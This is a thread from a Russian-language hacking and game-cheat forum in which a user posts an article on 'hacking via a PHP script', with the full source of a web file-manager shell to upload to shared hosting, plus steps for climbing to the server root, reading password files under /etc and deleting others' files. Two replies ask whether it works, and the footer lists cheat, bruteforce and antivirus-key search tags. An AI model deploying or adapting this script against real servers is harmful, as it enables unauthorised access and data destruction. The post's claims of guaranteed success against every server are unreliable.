Forum AoA- Хакерство, Читерство, Взлом Онлайн Игр.Баги боты и читы в  la2-WoW-CS-RF-PW. Все о Безопасности в Сети...  
   

Вернуться   Forum AoA- Хакерство, Читерство, Взлом Онлайн Игр.Баги боты и читы в la2-WoW-CS-RF-PW. Все о Безопасности в Сети... > Underground > Хакерство и Безопасность > Уязвимости веб приложений

Уязвимости веб приложений Уязвимости и защита порталов, сайтов, вебприложений

Ответ
 
LinkBack Опции темы Опции просмотра
Старый 12.10.2008   #1 (permalink)
Новичок
 
Регистрация: 12.10.2008
Сообщений: 3
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Vader пока неопределено
Восклицание Взлом через PHP скрипт.

Источник статьи

Данная атака на сервер проходит со 100% гарантией. Для успешной атаки взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, тоесть изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую хакер собирается взломать. В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов. Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов:
<?php //говорим что это PHP скрипт
function cmp( $a, $b ) //обьявляем функции
{
GLOBAL $sort; //сортируем полученные функции

if( $a->inode == $b->inode )
return 0;

switch( $sort ) //объявляем , что по каким функциям будет сортироваться
{
case "size":
return ($a->size > $b->size) ? -1 : 1;
case "type":
return strcmp($a->type, $b->type);
case "view":
return strcmp($a->view, $b->view);
case "atime":
return ($a->atime > $b->atime) ? -1 : 1;
case "ctime":
return ($a->ctime > $b->ctime) ? -1 : 1;
case "mtime":
return ($a->mtime > $b->mtime) ? -1 : 1;
case "group":
return strcmp($a->group, $b->group);
case "inode":
return ($a->inode > $b->inode) ? -1 : 1;
case "owner":
return strcmp($a->owner, $b->owner);
case "perms":
return ($a->perms > $b->perms) ? -1 : 1;
case "ext":
return strcmp($a->ext, $b->ext);
case "name":
default:
return 1;
}
}

function getIcons( $ext ) //объявляем функцию сопоставления иконки с типом файла
{
switch( $ext )
{
case "dir":
$file = "dir";
break;
case "link":
$file = "link";
break;
case "zip":
case "tgz":
case "gz":
case "Z":
$file = "compressed";
break;
case "gif":
case "jpg":
$file = "image2";
break;
case "dvi":
$file = "dvi";
break;
case "":
case "exe":
$file = "binary";
break;
case "sh":
case "php":
case "php3":
case "sql":
case "inc":
case "js":
$file = "script";
break;
case "txt":
$file = "text";
break;
case "html":
case "shtml":
case "phtml":
$file = "world1";
break;
default:
$file = "generic";
break;
}

return $IMG="<IMG SRC='icons/".$file.".gif'>";
}

class MyFile { //объявляем какие данные будут получены
var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;

function set( $filename, $path )
{
GLOBAL $cd; //объявляем функции перехода по каталогам

$this->name = $filename;
$this->path = $path;
$this->file = $this->path."/".$this->name;

$this->type = filetype( $this->file );
$this->size = filesize( $this->file );
$this->atime = fileatime( $this->file );
$this->ctime = filectime( $this->file );
$this->mtime = filemtime( $this->file );
$this->group = filegroup( $this->file );
$this->inode = fileinode( $this->file );
$this->owner = fileowner( $this->file );
$this->perms = fileperms( $this->file );

switch( $this->type )
{
case "link":
$this->sfile = readlink( $this->file );
$this->stype = filetype( $this->sfile );
$this->ext = "link";
break;
case "file":
$list = explode( ".", $this->name );
$nb = sizeof( $list );
if( $nb > 0 )
$this->stype = $list[$nb-1];
else
$this->stype = "???";

$this->ext = $this->stype;

switch( $this->stype )
{
case "gif":
case "GIF":
case "jpg":
case "JPG":
if( isset( $cd ) )
$pwd = $cd."/";
else
$pwd = "";

$this->sfile = "<IMG SRC='".$this->file."'>";
break;
default:
$this->sfile = $this->stype;
break;
}
break;
default:
$this->stype = "";
$this->sfile = "";
$this->ext = $this->type;
break;
}
}

function formatSize()
{
return number_format( $this->size, 0, ".", " ");
}
}

function genUrl( $ref, $args, $key = "", $val = "" )

{
$valist = "";

reset( $args );

if( $key != "" )
$args[ "$key" ] = $val;

if( !is_array( $args ) )
return $ref;

while( list( $key, $val ) = each( $args ) )
{
if( $val == "" )
continue;

if( $valist == "" )
$valist .= "?";
else
$valist .= "&";

$valist .= $key."=".$val;
}
return $ref.$valist;
}

function updir( $path )
{
$last = strrchr( $path, "/" );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 );
}

$ref = "dir.php";

if( isset( $cd ) )
{
$path = $cd;
//$lcd = "?cd=$cd'";
$args[ "cd" ] = $cd;
}
else
{
$path = ".";
//$lcd = "";
$args[ "cd" ] = "";
}

if( isset( $nb ) )
{
for( $i = 0; $i < $nb; $i++ )
{
$var = "id_$i";
if( isset( $$var ) )
{
$file = $path."/".$$var;
if( is_file( $file ) || is_link( $file ) )
{
if( unlink( $file ) )
echo "<BR><b>$file</b> успешно удалён\n"; //сообщение об успешном удалении файла
else
echo "<BR>Не могу удалить выставите права доступа <b>$file</b>\n"; //сообщение о невозможности удалить файл который доступен только для чтения
}
elseif( is_dir( $file ) )
{
if( rmdir( $file ) )
echo "<BR><b>$file</b> успешно удалён\n"; //сообщение об успешном удалении
else
echo "<BR>файл недоступен для удаления<b>$file</b>\n"; //сообщение о невозможности удалить файл
}
}
}
}

$step = 100;

if( !isset( $sort ) )
$sort = "name";
else
$args[ "sort" ] = $sort;

if( !isset( $from ) )
$from = 0;
else
$args[ "from" ] = $from;

if( !isset( $to ) )
$to = $from + $step;

$d = dir($path);
echo "\n";
echo "<br><a href=$ref >Вернуться в начало</a>\n"; //ссылка на возврат в домашнею директорию скрипта
$updir = updir($d->path);
if( $updir != "." )
echo "<br>Подняться на директорию вверх; <a href=$ref?cd=$updir>$updir</a>\n"; //ссылка на директорию вверх
echo "<br>Открыть директорию: <a href=$ref?cd=".$d->path."/..>..</a>\n"; //обновление текущей директории
echo "<br>Текущая директория: <b>".$d->path."</b>\n"; //показываем путь до директории и файлов, которые в ней находятся

$n = 0;
while( $entry=$d->read() )
{
$lFiles[ $n ] = new MyFile;
$lFiles[ $n ]->set( $entry, $path );
$n++;
}

$d->close(); //создаём HTML форму управления функциями
echo "<FORM NAME='del' METHOD='post' ACTION='".genUrl( $ref, $args )."'>\n";
echo "<TABLE BORDER=1>\n";
echo "<TR>\n";
echo "<TH>D</TH>\n";
//echo "<TH><a href='".genUrl( $ref, $args, "sort", "type" )."'>Type</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "name" )."'>Имя</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "size" )."'>Размер</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "ext" )."'>Класс</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "atime" )."'>В системе</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "ctime" )."'>Создан</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "mtime" )."'>Изменён</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "perms" )."'>Размер</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "group" )."'>Группа</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "owner" )."'>ow</a></TH>\n";
echo "<TH><a href='".genUrl( $ref, $args, "sort", "inode" )."'>in</a></TH>\n";
echo "<TH>Показ</TH>\n";
echo "</TR>\n";

@usort( $lFiles, cmp );

for( $i = 0; $i < $n; $i++ )
{
if( ( $i < $from ) || ( $i >= $to ) )
continue;

$k = $i;
echo "<TR>\n";
echo "<TD><INPUT TYPE='checkbox' NAME='id_$k' VALUE='".
$lFiles[ $k ]->name
."'></TD>\n";

$IMG=getIcons( $lFiles[ $k ]->ext );

$dform = "M j y H:i";
// echo "<TD ALIGN=CENTER >".$lFiles[ $k ]->type."</TD>\n";
echo "<TD>$IMG".$lFiles[ $k ]->name."</TD>\n";
echo "<TD ALIGN=RIGHT >".$lFiles[ $k ]->formatSize()."</TD>\n";
echo "<TD>".$lFiles[ $k ]->ext ."</TD>\n";
echo "<TD>".date( $dform, $lFiles[ $k ]->atime )."</TD>\n";
echo "<TD>".date( $dform, $lFiles[ $k ]->ctime )."</TD>\n";
echo "<TD>".date( $dform, $lFiles[ $k ]->mtime )."</TD>\n";
echo "<TD>".$lFiles[ $k ]->perms."</TD>\n";
echo "<TD>".$lFiles[ $k ]->group."</TD>\n";
echo "<TD>".$lFiles[ $k ]->owner."</TD>\n";
echo "<TD>".$lFiles[ $k ]->inode."</TD>\n";

switch( $lFiles[ $k ]->type )
{
case "link":
if( $lFiles[ $k ]->stype == "dir" )
{
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "<TD><a href='".
genUrl( $ref, $args, "cd", $tcd )."'>".
$lFiles[ $k ]->sfile."</a></TD>\n";
}
else
echo "<TD>".$lFiles[ $k ]->sfile."</TD>\n";
break;
case "dir":
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "<TD><a href='".
genUrl( $ref, $args, "cd", $tcd )."'>".
$lFiles[ $k ]->name."</a></TD>\n";
break;
case "file":
echo "<TD>".$lFiles[ $k ]->sfile."</TD>\n";
break;
default:
echo "<TD>NO</TD>\n";
break;
}
echo "</TR>\n";
}

echo "</TABLE>\n";

$from = $from - $step;
if( isset( $cd ) )
{
echo "<INPUT TYPE='hidden' NAME='cd' VALUE='$cd'>\n";
}
echo "<INPUT TYPE='hidden' NAME='nb' VALUE='$n'>\n";

//echo "<br>from=$from;to=$to;n=$n\n";
echo "<br>\n";
if( $from >= 0 )
{
echo "<a href='".
genUrl( $ref, $args, "from", $from )."' >Предыдущий</a>/\n";
}
if( $to <= $n )
{
echo "<a href='".
genUrl( $ref, $args, "from", $to )."' >Далее</a> \n";
}
echo "<br>\n";
echo "<INPUT TYPE='submit' VALUE='Del'>\n";
echo "</FORM>\n";
?> //говорим что PHP скрипт кончился

Вот реализация скрипта, который позволяет вам получить доступ в каталоги провайдера, содержащиеся у него на винчестере. Потенциальная опасность применения данного скрипта в том, что злоумышленник получает практически всю информацию о сервере, также злоумышленник получает доступ к папки etc, где хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости было выявлено, что все сервера, на которых разрешён запуск PHP оказались подвержены данной атаке. Скрипт помещяется на сервер провайдера, где вам разрешен запуск PHP скриптов, в директорию домашней странички. По умолчанию скрипт просматривает все находящиеся файлы в той директории, куда он был загружен для того, чтобы попасть в корневой каталог сервера жмите на ссылку "Подняться на каталог выше" до тех пор, пока вы не увидите корневой каталог сервера. При выходе из вашей директории скрипт возможно сообщит вам о невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и жмите на ссылку "Подняться на каталог вверх", скрипт передаст данные серверу о том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас пропустят.

Источник статьи
Vader вне форума  
Ответить с цитированием

Реклама=\
Старый 3 недель(и) назад   #2 (permalink)
ЮзверЪ
 
Регистрация: 18.12.2008
Сообщений: 25
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
rangel пока неопределено
По умолчанию Re: Взлом через PHP скрипт.

и чё работает?
rangel вне форума  
Ответить с цитированием
Старый 4 дн. назад   #3 (permalink)
Young 1337 Keltir
 
Регистрация: 05.01.2009
Сообщений: 36
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
terrrequest пока неопределено
По умолчанию Re: Взлом через PHP скрипт.

На Юкозе реально запустить это?
terrrequest вне форума  
Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Выкл.
Pingbacks are Вкл.
Refbacks are Вкл.

Быстрый переход

   

Часовой пояс GMT +1, время: 00:50.

Rambler's Top100 Рейтинг@Mail.ru
Работает на юкозе
Copyright ©2006- 2009, AoA Team. Перевод: zCarot
Это 100 самых популярных запросов гуглаюзверей
Подвальная Туча Тегов
bruteforce скачать fighter fx 7.2 l2onix l2ranger la2world panda antivirus 2008 ключ panda antivirus 2008 ключи perfect world hack perfect world баги perfect world бот perfect world взлом perfect world читы perfect world читы на деньги pw бот pwmp2 rf online читы vksovety vksovety скачать wallhack wow сервера х10000 баги perfect world баги в perfect world бот для perfect world бот для pw бот на perfect world боты для perfect world боты для pw взлом perfect world взлом perfect world на деньги взлом perfect world на опыт взлом pw взлом игры perfect world взлом онлайн игр дюп адены как взломать perfect world как сделать цветной ник в garena квест на волка ключ для panda antivirus 2008 скачать bruteforce скачать бота для perfect world скачать сервер perfect world скачать читы для cs 1.6 травиан читы цветной ник в garena читы perfect world читы для cs 1.6 читы для garena читы для perfect world читы для pw читы на perfect world
----------------------------------------------------------------------------------